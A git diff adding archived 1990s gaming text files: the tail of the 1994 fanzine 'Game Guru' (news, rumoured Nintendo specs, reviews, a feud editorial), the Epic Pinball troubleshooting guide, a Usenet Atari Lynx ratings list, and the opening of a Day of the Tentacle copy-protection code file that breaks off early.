taking my Genesis |(Ed note: Be afraid, be | +apart. The only things |VERY afraid!) Send in yer| +missing in DP16 were the |dollar for a sample ish | +Fanzine reviews? Did they|for you shall not be | +vanish? Ish 16 was 30 |disappointed. I click my | +pages and well worth the |heels for you! | +buck-fifty. I can't wait | | +for #17! Excellent work! | | +------------------------------------------------------------------------------ + + + Nintendo Of America + To Stay Out of CD-ROM Market + +Nintendo of America Inc., opting to stay out of the burgeoning CD-ROM +entertainment market for now, said its next-generation video-game machine +will continue to play cartridges, The Wall Street Journal reported. + +The 64-bit game system, code named Project Reality, is being developed by +Nintendo and Silicon Graphics Inc. It is set to debut in arcades during the +fourth quarter, followed by a world-wide launch to homes next year. Nintendo +said the home machines would be brought to market for under $250. + +Project Reality will replace Nintendo's current mainstay player, a 16-bit +machine called the Super Nintendo Entertainment System. Nintendo said Project +Reality is so powerful that it will contain five to six times the memory of +the current 16-bit Nintendo games, allowing for superior graphics, sound and +music. + +Nintendo officials said they considered using machines based on CD-ROM, as do +their competitors 3DO Co. and Sega of America Inc., but concluded that +cartridge-based games would run faster. The $6 billion-a-year U.S. video-game +industry remains dominated by cartridge-based machines produced primarily by +Nintendo and Sega. + +"The cartridge format is the only proven method," Peter Main, vice president +of marketing for Nintendo of America, said in a statement. "CD-ROM, at this +stage of the game, is too slow..." Main added that the cartridge format would +help keep down prices so the new players can sell well in the mass market. + +Main indicated Nintendo would continue to evaluate CD-ROM technology, and has +designed Project Reality to accommodate a potential CD-ROM accessory. + +The previous article was taken from COMPANY NEWS, Prodigy Interactive Service. + +______________________________________________________________________________ + + + + NINTENDO + CODENAME: "PROJECT REALITY" + TARGET SPECIFICATIONS TO DATE + +Nintendo has been working with Silicon Graphics Inc. secretly for several +months before the public announcement of a 64-bit home unit. We've all heard +the basic specifications over and over again from magazines and such, but +we have uncovered the specifications set for "Project Reality" effective since +January 3rd. Keep in mind that they have drastically altered the SNES CD specs +before (and the SNES CD was a no-show). It's possible Virtual Reality's specs +could change as well. + +PHYSICAL DIMENTIONS: Undetermined + +VIDEO RESOLUTION: -1024 x 768 max + -can display true 24-bit images + -palette of 16,770,000 simultaneously + +PORT OPTIONS: -Cartridge based unit + -Cartridge port assembled to support add-on machanism(s) + -2 expansion slots for future add-on mechanisms + -2 controller ports + -MPEG-2 compatible + +CONTROLLERS: -Undetermined + +CPU: -64-bit RISC data path + -contains 7 coprocessors + +CLOCK SPEED: -system calculated at 100.58 MHz + +MEMORY: -4 megabytes of RAM (total) + +AUDIO: -Stereo 16-bit PCM + -Sampled at 44.1 KHz + +VIDEO OUTPUT: -RF + -S-video + -Composite Video + -HDTV compatible + +OTHER SPECIAL FEATURES: -Textured mapping, Morphing, Scaling/Rotation + -Skewing (distortion) + -Shading from various light sources + -transparency + -Unlimited sprite size + -MIPS engine contains 7 coprocessors + -Video exceeds NTSC and PAL standards (HDTV compatible) + -Can handle over 100 MIPS and MFLOPS (floating points) + in one second + -Can generate over 100,000 polygons/second + -Utilizes NEWLY developed on-board video/audio + compression which compresses 16 megabit ROM chips + (2 megabytes) into 80-96 megabit ROM chips + (10-12 megabytes) + +WEIGHT: -Undetermined + +AVAILABLE: -3rd Quarter 1995 + +PRICE: -around $250 + +EDITOR'S NOTE: Wow, now these are really impressive specifications. What I +find more interesting than anything else is the new data compression that +this unit will support. 16 meg carts (2 megabytes) can be transformed into +80 to 90 meg carts (10-12 megabytes). That is incredible compression. But as +we all know, Nintendo, Capcom, and other companies are using not only 16 meg +chips, but also 20 megs, 24 megs, and in a few months, even 32 meg chips. +A 32 meg chip (4 megabytes) can be transformed into an *AMAZING* 160 to 182 +megs! That is 20 to 24 megabytes! And the best part is that we only pay +for the actual size of memory the chip holds when NOT compressed. For +example, 16 meg games cost in the neighborhood of $65 today. Even though +Project Reality's 16 meg chips can hold up to 6 times the amount of a +normal 16 meg game, we aren't charged any more because we only pay for the +16 meg chip! So games will easily be in the same price area as they are +today. I can't wait! + +Yes Nintendo fans, Project Reality WILL BE a reality! No and's, if's, but's, +or or's! We were sent a copy of a statement which shows Nintendo purchasing +2.6 million RISC processors from NEC, and another statement showing Nintendo +purchasing the same amount of RISC processors from Toshiba. Nintendo wouldn't +buy all these high-tech chip for nothing, my friends! They have something +cooking and in the works! No bullsh!t! + +------------------------------------------------------------------------------ + + + --TOP TEN VIDEO GAME CHARACTERS THAT MAKE GOOD COUPLES-- + +10) E. Honda and the fat Lady in Death Valley Rally + + 9) Mario and Fox McCloud (Nintendo just loves how their own characters... + nevermind.) + + 8) Sonic and Blanka (who knows...that animalistic instinct they have...) + + 7) Sonya and Princess Zelda (bitches with attitude) + + 6) Ripley and Sagat (It's the bald head thing...) + + 5) Captain Hook and Ronald McDonald (yeah...he's in a game!) + + 4) Little Mermaid and Aladdin + + 3) Mega Man and Roll the Housekeeping Robot + + 2) Barney and Grimace (ya know, that purple Hershey Kiss thing from Mc + Donalds) + + 1) Cammy and Chun Lee + +______________________________________________________________________________ + __ ______ _ _ _ ______ _ _ _____ + | \ | ____| \\ // | | | ____| \ \ / / / ____| + | O | | |__ \\ // | | | |__ \ \ /\ / / | /___ + | / | __| \\ // | | | __| \ \/ \/ / \____ \ + | |\ \ | |____ \\// | | | |____ \ /\ / _____| | + |_| \ \_|______|_____\/_____|_|_|______|_____\/__\/_____\_____/__ + \___________________________________________________________| + + _____________________ +////YOSHI'S SAFARI\\\\\ GRAPHICS: 6 GAME PLAY: 6 +\\\\ BY: NINTENDO ///// SOUND: 5 FUN: 6 + --------------------- +$39.95 SHOOTER OVERALL: 5.75 + SUPER NINTENDO + + My GOD does this game suck! Here is a good game for the young kids, but + for the teens...BLAH! It has a beginner's challenge to it, which leaves + the many avid players sending it back to the store that actually had the + guts to sell it. Man, the S.Scope 6 is in trouble (always was), unless + someone does something FAST! + + You have the honor of riding on Yoshi's back, shooting your way through + a countless number of bad guys and enemies, like Koopas, Goombas, and + boss characters. You cannot control Yoshi's speed or direction, you just + get to jump every now and then...Well whoop-de-do! Besides that, you just + pull on that SS6 trigger and blast the enemies. I don't know about most, + but I beat this game the first time playing it. The Scope has a turbo + button for god sakes, anyone could win! + + The graphics weren't much to speak for. There's plenty of Mode 7 keeping + your moves steady and smooth. And the backgrounds were somewhat colorful + and they consist of some such as a beach, and an underworld forest. + + The sound...zzzz. Another bad part of the game. All you hear is some + reward music between stages but during the actual game, all you hear is + your own gun and menacing sound effects. + + This one is not recommended for anyone over the age of 11, or a gamer + with anything better than a beginner's level. NIntendo made a nasty no- + no with this one. Luckily I only rented, and this shows that ever the + major video game giants can make big mistakes. + +______________________________________________________________________________ + + _____________________ +///ROAR OF THE WOLF\\\\ GRAPHICS: 9 GAME PLAY: 8 +\\\\\BY: SUNSOFT/////// SOUND: 8 FUN: 4 + --------------------- +$49.99 ACTION OVERALL: 7.25 + GENESIS + + The first thing you notice when you turn on the power is that you are + captivated by the sights and sounds that appear on your TV, BUT that's + all you get to be enchanted about cause the fun sucks. + + You play as the beast and you fight your way through your palace, a snow + covered forest, and across the rooftops for the final showdown with + Gaston. + + The game play is actually fairly straight forward. You move from one end + of the level to the other, killing all of the enemies you encounter + along the way. (Really, you do!) The Beast has a nice variety of moves + you can choose from, such as crouching attacks, or standing. Easy to + control with a few tries. + + The graphics truly stand out in front of anything else. They capture + the feeling of the Disney classic, for sure. And the backgrounds are + incredible with lots of details and color. + + The sound is pretty good with nice tunes and well done grunts, groans, + and growls of the Beast. + + The fun of the game...well, it certainly leaves something to be desired. + It's the only flaw that's keeping the game from a VERY nice overall + score. Great game for the experts in the family. + +______________________________________________________________________________ + + + _____________________ +//////CYBERMORPH\\\\\\\ GRAPHICS: 7 GAME PLAY: 9 +\\\\\\\BY: ATARI/////// SOUND: 6 FUN: 7 + --------------------- +PACK-IN SHOOT-EM-UP OVERALL: 7.25 + JAGUAR + + I started playing this game, and am image came to me. I saw Star Fox in + the back of my mind. Like Star Fox, CyberMorph is a giant polygon flight + fest with lots of strategy and action. + + CM is a space craft game where you are the pilot and you must collect + pods filled with scientific equipment scattered all over the galaxy. You + fly through 5 sectors with 8 planets to get them. + + The polygon graphics are not striking, but beats the crap out of Star Fox + in a mean way. With Star Fox, you fly in one direction...forward. In CM, + you fly in ANY direction giving the illusion of a "spacious" environment. + The smooth, fluid control is an added plus..but hey, they keypad thing + feels awkward. + + The game play requires a nice amount of strategy, dodging, mountains, + neutral enemies, and hostile space crafts, Again, very nice, smooth play. + + The game includes a password option after each sector, but even that is + tough to accomplish because of the difficulty of the game. + + CM's music and sound effects are neither excellent or awful. The cool + title track will help set the mood the most, but during the actual game + play all you get are bullets, explosions, and engine roars. + + CM is certainly a challenging game, and if you love strategy shoot-em-up + style games, you may want to check into CyberMorph for the Atari Jaguar. + +______________________________________________________________________________ + + + _____________________ +/////////DUNE\\\\\\\\\\ GRAPHICS: 8 GAME PLAY: 8 +\\\\\\BY: VIRGIN/////// SOUND: 8 FUN: 6 + --------------------- +$62.99 ADVENTURE OVERALL: 7.5 + SEGA CD + + Using a 1st person perspective you play as Paul Atreides. The Emperor + has sent you and your family to the planet Arrakis (aka Dune) to mine + spice. With the magical powers of the spice, whoever controls the spice + can control the world! + + The Harkonnens (evil guys) are also on the planet mining the spice. Your + job is to fight these men for control of Dune and help the Fremen + achieve their dream of turning Dune into a flourishing planet. + + The action in this game is very low. With little confrontation you can + easily collect vital supplies and finish your mission. + + The graphics of Dune are something to see. The 3d sequences stand out + giving great cinematic sequences and hot textured mapping. + + The sound effects and music are very good too, as they are with most + CD games. The music sound track has a nice variety and mixes with the + action well. Speech helps bring life to the game, but sounds off beat + at times with common words. + + At times, you may end up falling asleep during the game while the game + unfolds. + + All Virgin brought to this game was graphics and sound...the fun is not + great, but not too bad, either. + +______________________________________________________________________________ + + + _____________________ +///////CLAYMATES\\\\\\\ GRAPHICS: 8 GAME PLAY: 8 +\\\\\BY: INTERPLAY///// SOUND: 8 FUN: 8 + --------------------- +$ N/A ACTION OVERALL: 8 + SUPER NES + + Claymates is a unique sidescroller from Interplay that is quite easy to + get used to. Like Clay Fighter, Claymates uses actual claymation. You + start out as a ball of clay, and as you find other colored balls of + clay you turn into one of the five animals which include a mouse, cat, + fish, bird, and a gopher. Each animal has his own weapons and weaknesses. + + The graphics are impressive at times furing the game...certainly + something to experience for yourself. The game is 5 levels long and they + are somewhat challenging. The drawback in the graphics are the back- + grounds. Nothing special about them. They are really basic looking. + + Claymates has fun music and sound effects but I started to go a nuts + listening to repetitive kiddie music after a while. + + Besides the backgrounds and annoying-at-times music, the game has a + nice future for it. You can move with reasonable agility, but the jumps + aren't always on target like you'd hope. Luckily for ya there are un- + limited continues. + + The game was made with the younger gamers in mind, but Interplay does + not lack a good challenge. You'll find Claymates fun to play, but don't + expect any eye opening graphics or new programming tricks. Certainly a + game to rent. I'm glad I didn't buy it, to be honest. + + +______________________________________________________________________________ + + + ____________________ + /WWF RAGE IN THE CAGE\ GRAPHICS: 8 GAME PLAY: 8 + \\\\\\\\ARENA///////// SOUND: 9 FUN: 8 + -------------------- +$ N/A SPORTS OVERALL: 8.25 + SEGA CD + + Acclaim is the first company to produce a wrestling game for the Sega + CD. The game can be very fun if you don't mind waiting for the match to + start. + + Basically the idea is the same as it is with any other wrestling game; + kick the crap out of your opponent or BE kicked. The game is very + similar to the SNES Royal Rumble cart. The Sega CD game gives you a + selection of 20 wrestlers, all with their unique finishing moves. The + graphics look basically the same as the cart versions, but the added + twist is the Full Motion Video clips. + + The sound is something all video game wrestling fans have been waiting + for. The CD contains the theme music of each included wrestler and the + bumps and thuds are cool too. + + If you own a previous WWF wrestling game, the controls may seem + familiar. But if you are new to wrestling games, hope you game some + extra time to practice cuz you'll need it if you want to win. A six- + button controller will help. + + If you've played other wrestling games, there is nothing super- + different or noteworthy to pass on to you because it's basically the + same as the rest, only improved sound. + + The major drawback in the game for me was the long pauses and frequent + breaks in the game. Isn't it typical for a Sega CD game? One good thing + is the option to wrestle ina steel cage...can you reach the outside + before your opponent? + +------------------------------------------------------------------------------ + + SUPER EFFECTS WRAP-UP! + + I'd like to thank Mike for giving me this space to wrap up everything + happening in Super Effects, my old fanzine being taken over by GAME + GURU, with was a mailed-out fanzine. + + To start off I am going to make it clear how immature Sean Pettibone is, + no matter how cool some think he is, or how much you like him. Remember, + this is MY editorial, and Mike or any other Game Guru staff member has + nothing to do with this article and what I may say. + + Pettibone, like I said, you are obviously immature when it comes to + confrontation. Junk mail like you's sent means nothing, as did any of + your letters. You ant nothing more than the last word in ANY situation + and you think you are macho to try and get away with it. Not gonna work + sweetie. I don't get mad OR EVEN, I just print it the way I see it. You + said so yourself to Mike that trying to get under everyone's skin is + your goal, it's what you always do. Well, see, that's where you're only + fooling yourself because you can send all the junk mail you want, all the + bad reviews you want and you simply CANNOT even begin to annoy any of us + because we know that's what you are purposely trying to do. Nice try, + but you lose. Contrary to anything you think, Super Effects was a VERY + respected fanzine, as will Game Guru. 'Nuff said. I wouldn't complain + how boring you think SE#3 was cause your last fanzine was a real snoozer + too, to say the least. And some others I showed the zine to thought the + same thing. It's obviously not as great as you think it is. + + I hear you've been trying to call me, honey. Sorry, but I'm having an + affair with the milkman. Hope this doesn't hurt our relationship. + + Mike run S.E? Hehe, good one P-bone. It was 50/50 down the middle for + issue #3. Other than that, I was running it. Chow darling, it was fun. + Have a splendid life, and get help for that bed wetting problem (Strange + how YOU have these kinds of fliers). + + Ha, and as for your claim to me taking info from magazines, yawwwn. + We've said all along it's all from our computer connections to Nintendo + IBM, AOL, Prodigy, and others. You are not one to talk about drawings + from magazines, because your own fanzine is FILLED with them. That's the + biggest contradiction I've heard from you, and the longest one I've + laughed at. In my book, YOU aren't 'for real' because you are a joke. + Gee are we sexist, Sean? LOTS of other fanzines print FACTUAL information + rather than just opinion articles. What point is there to only TRY to + annoy me and no one else ever hears from you? Like I said, the only thing + you are good for is a laugh. Love the way you tried to annoy me, but + unfortunate for you, you FAILED. + + All questions unanswered for TUNE-UP have been asked in the interview + conducted by MIke with out Nintendo Man, All other mail has been + answered privately through U.S. Mail. (TONS of letters!) + + (Sigh) Well, I can't think of too much else to say right now that I + haven't covered in the last issue of Super Effects. I hope you all made + SOME use out of the Game Genie codes brought to you by Galoob. Adios + people (and Sean)! + +______________________________________________________________________________ + +DID YOU KNOW.... + +- The reason the shape of the SNES - One out of 15,000 video gamers + carts changed was so that the show AT LEAST ONE sign of + Game Genie "could not be used epileptic seizure during game + properly?" play? + +- Atari is suing Sega for program- - The Jaguar's limited release + ming infringing on some horizon- was more like a meow than a + tal scrolling techniques Atari mighty roar? (Ed note:Not true) + patented? + - Vanna White, Cindy Crawford, +- The Jaguar is outselling the 3DO and Christina Applegate have + almost 10:1? X-rated GIFs circulating the + U.S? + +______________________________________________________________________________ + +NINTENDO TAKES A RUN FOR THE BOARDER + +Nintendo fo America said it will lay off 136 workers, +close manufacturing operations here and move hardware +and software production for the Latin American markets +to Mexico. + +In a press release, the company said Latin American +markets have grown rapidly and the best way to serve +those areas is to transfer manufacturing to Mexico. + +The company said it would have made the move even without +NAFTA. The layoffs represent about 9% of Nintendo's 1,500 +employees in it's U.S. headquarters. +______________________________________________________________________________ + +SEGA TEAMS WITH MICROSOFT + +The Wall Street Journal reported that Sega said Microsoft will develop +software for its next-generation game machines, an alliance bringing closer +to reality the much heralded convergence of personal computers and video +game machines. + +Microsoft will develop an original operating system for Saturn. Operating +systems control the basic functions of computers, making them easier to use +and to program by providing a layer of user-friendly commands between a +computer's hardware and the user. + +Adding an OS to the Saturn may make it easier for game developers to write +software for the machine. it also might give the Saturn a ability to serve +as a so-called set-top box, a piece of hardware that someday may serve as a +control for suchmultimedia functions as interactive television. + +The new alliance could pose longer-term risks for Sega. By allowing Micro- +soft to control its operating system, Sega may be opening the door to +erosion of its proprietary game-hardware standard; the main source of its +huge profits. + +______________________________________________________________________________ + + ---QUICK PICKS--- + -Matt Lucas + +Hi, I'm Matt Lucas. Some of you may remember me from Super Effects. I used +to write game reviews for the fanzine before it got canned. Well, now that +the fanzine is totally different, I'm turning over a new leaf and am going +to write even more! So that means you'll all get a double, maybe even a +triple dose of me, Matt! Well, this is my new opinion column. Here I will +give you my top five video game picks to do well, and to suck. You don't have +to agree, just read it. So here we go... + + FUTURE GOOD GAMES + + +1. MEGA MAN X -(SNES) + This game will be one of the best games of '94. Mega man is finally brought +to the beautiful world of 16-bit. being that this is Mega Man's first 16-bit +adventure, it will draw immense curiosity. Video game fans of all ages will +love it. Great graphics, action and all new story line will make this game a +must get, and a best seller! + +2. SONIC 3 -(Genesis) + Another chapter is added to the Sonic saga. In this one, the story is +basically the same as number one and two. But Sonic has a new look in this +installment. The new look makes him much more 3-dimensional and gives him and +Tails more animations. The backgrounds are improved also. This one's a lot more +faster and fun, so like it or not, Sonic's back again in his 3rd adventure, +(aside from Sonic Spinball) and it will do very well. + +3. DRAGON'S LAIR -(Sega CD) + If you loved Dirk's world in the arcades years ago, you're going to love +this one even more! Believe it or not, the new Sega CD version could be even +better than the old laser disc classic! Everything has been translated +exactly. No more long pauses between scenes in this one, Sega has drastically +reduced all the problems you could possibly think of. Good job Sega! + +4. WWF RAGE IN THE CAGE -(Sega CD) + We have another Sega CD game on picks! When you first look at the action on +this game, it looks like an exact replica of WWF Royal Rumble, but it's not +at all! It has excellent video animation screens and the action is even +faster! it's very realistic too. For instance, you can't bodyslam Yokozuna. +WWf fans aren't the only one's who'll make this one great! + +5. SUPER METROID- (SNES) + Even though very little is known about the future SNES megahit, Mike's +friend Roger at Nintendo has told us a lot! And by the sound of it, this will +literally be the biggest SNES game yet. it's going to be 24 megs. We'll keep +you posted, so stay tuned! + + + FUTURE SUCK GAMES + + +1. CLAYMATES -(SNES) + This game is just plain stupid! Stupid story, stupid...everything! The +graphics are good, and that's it. If you thought Clay Fighter sucked... +nevermind. Bad job by Interplay! + +2. GOOFY'S HYSTERICAL HISTORY TOUR -(Genesis) + They got one thing right, it's goofy! I mean, what the Hell is this? He's +a janitor in a museum and he's got to clean stuff. Wow, fun. Only stupid +who buy games for the names will want this one. + +3. BRAM STOKER'S DRACULA -(Sega CD) + The movie sucked except for a couple parts, but this whole game bites! The +only good thing about this is the occasional video animation screens, but +that's not enough to excuse the rest of the game. I don't think that Bram +Stoker would've wanted to make this a video game, I didn't. + +4. THE INCREDIBLE CRASH DUMMIES -(Genesis) + Another thing that shouldn't have been made into a video game. Just look +for yourselves! The cinema screens aren't good either. + +5. MARIO'S TIME MACHINE -(SNES) + This game's a major suck-a-thon! If you're older than 8, you'll hate it. +This will do very poorly, for it's very repetitious. If you want to learn +something, get this game. + +______________________________________________________________________________ + +SUBSCRIPTION INFORMATION: + GAME GURU is published whenever I feel like making it and sending it. GAME + GURU is absolutely free of charge, but you MAY be charged for the download + time onto your computer, depending on the service you are downloading from. + The average distribution of GAME GURU is one issue every other month. No + guarantees. + +NOTICE: + GAME GURU- copyright 1994 by Michael Hrusecky. All Right Reserved. All + systems, names, games, etc. are property of their respective copyrights and + companies are are not necessarily associated with GAME GURU. GURU articles + are the opinions of their respective author and have no connection with the + opinions of other GURU staff members, or companies mentioned herein. + + GAME GURU is compressed using PKZIP and MAY contain more than one file when + decompressed. Any version of PKUNZIP will "inflate" all of GAME GURU's + files, which use the ASCII format. + + A printed form of GAME GURU is NOT currently available. + + ____ _____ ________ _________ + / ____ \ / \ / _ _ \ | _______| +| | |_| | ___ | | | | | | | | | +| | ___ | |___| | | | | | | | | ---, +| | |_ | | ___ | | | | | | | | ---' +| |____| | | | | | | | | | | | | |_______ + \______/ |__| |__| |__| |__| |__| |_________| + + ____ __ __ _____ __ __ + / ____ \ | | | | | __ \ | | | | + | | |_| | | | | | | | | | | | | + | | ___ | | | | | |__| / | | | | + | | |_ | | | | | | _ \ | | | | + | |____| | | |__| | | | \ \ | |__| | + \______/ \______/ |__| \__\ \______/ + + (c) 1994. All Rights Reserved. diff --git a/textfiles.com/games/helpme.doc b/textfiles.com/games/helpme.doc new file mode 100644 index 00000000..93642de6 --- /dev/null +++ b/textfiles.com/games/helpme.doc @@ -0,0 +1,216 @@ +============================================================================= +Epic Pinball * Instructions & Troubleshooting Info * Version 2.0 +============================================================================= + +Epic Pinball Requires: + * A 386 or faster IBM-compatible PC + * VGA graphics + * Hard disk + +Also supports: + * Sound Blaster, SB Pro, and compatible music cards + * Gravis Ultrasound music card + +To start Epic Pinball: + +1. Switch to the drive where the game is installed (C:) +2. Switch to the subdirectory where the game is installed (CD \PINBALL) +3. Type PINBALL. + + +============================================================================= + Common problems and solutions +============================================================================= + +Running with WINDOWS +==================== + +To run this game under Windows, be sure to run the file "PINBALL.PIF" (not +the file "PINBALL.EXE"). This should would very reliably under Windows on +nearly all computers. + +If you encounter any problems running through Windows, please exit and run +Epic Pinball through plain DOS instead. We appologize for the inconvenience. +Making Epic games work through Windows is a top priority for us, and we're +working to improve our Windows compatibility. + +Running with OS/2 +================= + +Though Epic Pinball will work reliably under OS/2 on some computers, we +don't recommend this because it might result in the game locking up. +Please run Epic Pinball through DOS or Windows instead. We tried to make +this game compatible with OS/2, but alas we were not successful. + + +NOT ENOUGH FREE MEMORY +====================== + +Problem: When I run Epic Pinball, the game refuses to start and gives + me the message "You need (amount) of free memory to run this program". + +Solution: You need to free up more main (conventional) memory before + starting Epic Pinball. Here are some solution tips: + +1. If you are trying to run Epic Pinball from Windows, completely exit + Windows and try running it from DOS. + +2. If you are trying to run Epic Pinball from "DOSSHELL" or any other + menu program, please exit from the menu program. Then, run Epic Pinball + from the DOS prompt. Menu programs often occupy enough memory that + there won't be enough left for Epic Pinball. + +If neither #1 or #2 solves the problem, do the following: + +1. From the DOS prompt, type "MEM" and press Enter. + +2. You'll see a lot of information about your computer's memory. Look at + the number after the words "Largest Executable Program Size". This is + how much memory you currently have available. + +Now you need to free up more main memory. Here are some tips: + +1. If you're using DOS 6.0 or later, reboot your computer by pressing + RESET or Ctrl-Alt-Del. Wait for the message "Starting MS-DOS..." to come + up. Now press the [F5] key. + + This will cause DOS 6.0 to bypass all of your TSR's, memory managers, + and other programs which normally occupy main memory. + + Now change into the Pinball directory and begin the game. + +2. If you have a version of DOS earlier than 6.0: You need to create a + "boot disk" to allow you to start your computer without loading all + the TSR's and memory managers that take away main memory. Here's how. + + A. Put a blank disk in your A: drive and format it as a DOS disk. (Don't + do this in your B: drive - it won't work!) To do this, type the + following command: + + FORMAT A: /S + + B. Wait while your computer formats the disk. + C. Label the disk "Boot Disk" and keep it handy. You'll need this + disk whenever you want to start Epic Pinball. + + Now, you can reboot your computer and play Epic Pinball: + + A. Put the boot disk in your A: drive. + B. Restart your computer, either by pressing CTRL-ALT-DELETE, by + hitting your reset button, or by turning it on. + C. Wait while your computer boots from the boot disk. + D. After a little while, your computer will stop and give you the A> + prompt. + E. Now change to your hard disk by typing "C:". + F. Go into the pinball directory by typing "CD \PINBALL". + G. Begin by typing "PINBALL". + + Note to owners of "Stacker", "Superstor", and other hard disk compression + programs: If your C: drive is compressed and you need a boot disk to + start Epic Pinball, you must install Pinball on a different, + non-compressed drive. See your Stacker or Superstor manual for + instructions on doing this. (This only applies to users of DOS + version 5.0 or earlier). + + +GENERAL PROBLEMS +================ + +Problem: When I run PINBALL, the computer locks up or reboots. + +Solution: Run SETUP and verify that your settings are correct. If you are + not using a sound card, make sure that SETUP is set for "No Sound Card". + If you are using a sound card, verify that: + +1. The correct options are specified in SETUP. Check your address, IRQ, + and DMA settings (most sound cards operate on DMA 1). If you don't know + your card's address, IRQ, and DMA settings, consult your sound card + manual for details on figuring them out. If your sound quality is set + to "Ultra High Quality" or "Very High Quality", try setting it to + just "High Quality". + +2. Your sound card has no address, IRQ, or DMA conflicts with other cards + in your system! If your sound card works properly with other games, you + can assume that there are no conflicts. However, if your sound card does + not work with other games, you have a conflict. See your sound card + manual for details on resolving these conflicts. + + +Problem: I notice a bit of flicker in the dotmation (dot animation). + +Solution: This will happen on slower computers (386, less than 33 mhz) when + you have the music playing through your Sound Blaster. If you find this + distracting, we recommend turning off the music. + + +Problem: The music and sound effects sound OK when I start Epic Pinball, but + they get cut off several seconds after a song begins. + +Solution: This is what happens when you select the wrong IRQ for your sound + card! Run SETUP again and pick the correct IRQ. + + +OTHER SOUND CARD NOTES +====================== + +Pro Audio Spectrum: + + Epic Pinball should work fine with the PAS, PAS+, and PAS-16 sound cards. + You need to run SETUP and tell it that you have a Sound Blaster card (not + a Sound Blaster Pro). + + Important! To run Epic Pinball on any Pro Audio Spectrum sound card, you + need to have the PAS drivers loaded properly. Epic Pinball will only + recognize your PAS card if the drivers are loaded. See your PAS manual + for instructions on loading the right PAS drivers in your AUTOEXEC.BAT + and CONFIG.SYS files. + +Gravis Ultrasound: + + By popular request, Epic Pinball supports the GUS! Just specify Gravis + Ultrasound from within SETUP. If you have any problems, check your + address, IRQ, and DMA settings. If you still have problems, boot clean + and try running Epic Pinball without any GUS drivers loaded - these + drivers (such as SBOS) might perhaps interfere with the game's direct, + native GUS support. + +Other sound cards: + + Since new models of sound cards are always being manufactured and revised, + here's how to contact the top sound card makers for information about + sound card problems and obtaining the latest driver files. + + Company Sound Card Phone BBS CompuServe GO + ------------- ------------------ ------------ ------------ ------------- + Media Vision Pro Audio Spectrum 800-638-2807 510-770-0527 MultiVen (12) + Creative Labs Sound Blaster 405-742-6622 405-742-6660 Blaster + Gravis Ultrasound 604-431-1708 604-431-5927 PcVenB (14) + + Note: Epic Pinball requires either a Gravis UltraSound or a genuine Sound + Blaster card. If your sound card isn't 100% compatible with the Sound + Blaster, unfortunately it's not going to work with Epic Pinball. + +CONTACTING EPIC'S TECH SUPPORT +============================== + +If you need further assistance, please call our tech support department +at 301-983-9771 between 9AM and 5PM Eastern Standard Time, or fax us +at 301-299-3841. + +If you have a complex question about how to run this game, please call while +you're at your computer and we'll be able to help you more effectively. + +You can also contact us online: + +CompuServe: GO EPIC +Internet Mail: 72662.1725@compuserve.com +Internet FTP: ftp.ulowell.edu +America Online: We answer questions posted in the "Games" area. +GEnie: We answer questions in the Games Roundtable. +Prodigy: Call 800-524-3388 voice for a free CompuServe signup kit. + +EXEC-PC BBS + Contact: Epic MegaGames + 2400 Baud: 414-789-4210 + 14.4K Baud: 414-789-4360 + diff --git a/textfiles.com/games/lynx.txt b/textfiles.com/games/lynx.txt new file mode 100644 index 00000000..79f61b21 --- /dev/null +++ b/textfiles.com/games/lynx.txt @@ -0,0 +1,68 @@ +From news Wed Apr 1 12:17:34 1992 +Path: uwm.edu!linac!att!ucbvax!plitvice.berkeley.edu!erc +From: erc@plitvice.berkeley.edu (Eric Ng) +Newsgroups: rec.games.video +Subject: VIDEO GAME RATINGS REPORT (ATARI LYNX) +Message-ID: <44156@ucbvax.BERKELEY.EDU> +Date: 1 Apr 92 02:32:59 GMT +Sender: nobody@ucbvax.BERKELEY.EDU +Reply-To: video@irss.njit.edu +Organization: University of California at Berkeley +Lines: 56 + +For information on the list format and on submitting your ratings, +consult the article entitled `ABOUT THE VIDEO GAME RATINGS REPORT' in +the newsgroup rec.games.video. + +VIDEO GAME RATINGS REPORT + +ATARI LYNX +New Distribution Votes Rank Title + ....11251. 20 7.4 A.P.B. + ....01.16. 13 8.1 Awesome Golf + ...01240.. 12 6.2 Bill & Ted's Excellent Adventure + ..0..250.0 13 6.8 Blockout + ...0013210 28 7.2 Blue Lightning + .0011230.. 36 5.8 California Games + .....01133 28 8.9 Checkered Flag + 0....02123 30 8.2 Chip's Challenge + ..0102230. 23 6.5 Electrocop + ....1331.. 8 6.5 Fidelity Ultimate Chess Challenge + 0....15100 22 6.9 Gates Of Zendocon + 0..2231... 19 5.2 Gauntlet III + 11.12111.. 8 4.8 Hard Drivin' + ....3.33.. 3 6.7 Ishido: Way Of The Stones + ....001231 36 8.4 Klax + ....13201. 12 6.8 Ms. Pac-Man + ...102300. 13 6.4 Ninja Gaiden + ....152... 7 6.1 Pac-Land + ...12310.. 12 5.8 Paperboy + .....513.. 9 6.8 Qix + ....12320. 18 6.9 Rampage + .....14110 18 7.5 Roadblasters + 121311.1.. 10 3.9 Robo-Squash + .....01232 22 8.6 Robotron 2084 + .....63... 8 6.4 Rygar + .....01312 26 8.3 S.T.U.N. Runner + .....03310 13 7.8 Scrapyard Dog + ....1.0033 12 8.4 Shanghai + ....003311 29 7.9 Todd's Adventures In Slime World + 121.121... 8 4.0 Tournament Cyberball + ..1222.... 7 4.7 Turbo Sub + ...2.221.. 7 6.0 Viking Child + ....001222 37 8.3 Warbirds + ..00.03120 23 7.4 Xenophobe + .1...152.. 8 6.5 Xybots + ..00.01031 22 7.7 Zarlor Mercenary + +In this report, video games have been rated on a scale of 1 to 10, +with 10 being the best and 1 being the worst. For each video game, +the total number of votes, the average rating, and the vote +distribution are shown. New video games are indicated by an `*' +before their entry. + +Mail votes to video@irss.njit.edu or ...!uunet!irss.njit.edu!video; if +you have any questions, mail them to video-request@irss.njit.edu or +...!uunet!irss.njit.edu!video-request. +-- +eric ng erc@zabriskie.berkeley.edu ...!ucbvax!zabriskie!erc diff --git a/textfiles.com/games/mm2codes.txt b/textfiles.com/games/mm2codes.txt new file mode 100644 index 00000000..094ebf34 --- /dev/null +++ b/textfiles.com/games/mm2codes.txt @@ -0,0 +1,114 @@ + Day of the Tentacle (Maniac Mansion 2) (c) Lucas Arts + + - The Manual Protection Patents by Dead Goon & Hoson - + + Presented by HYBRID 93.06.11 + _ + |_| = Crouton (Cube, Food) + + ----- = Toothpick (2 croutons on each toothpick) + + _ _ + |----|4 + |----|3 = Flask (There are 4 levels of liquid on each flask) + |----|2 + |----|1 <- The liquid always starts on level 1 + |____| <- This is NOT a level! (It just had to be drawn this way) + + + _ | | _ + |_|----- -----|_| + | _ _ _ _ _ | _ _ 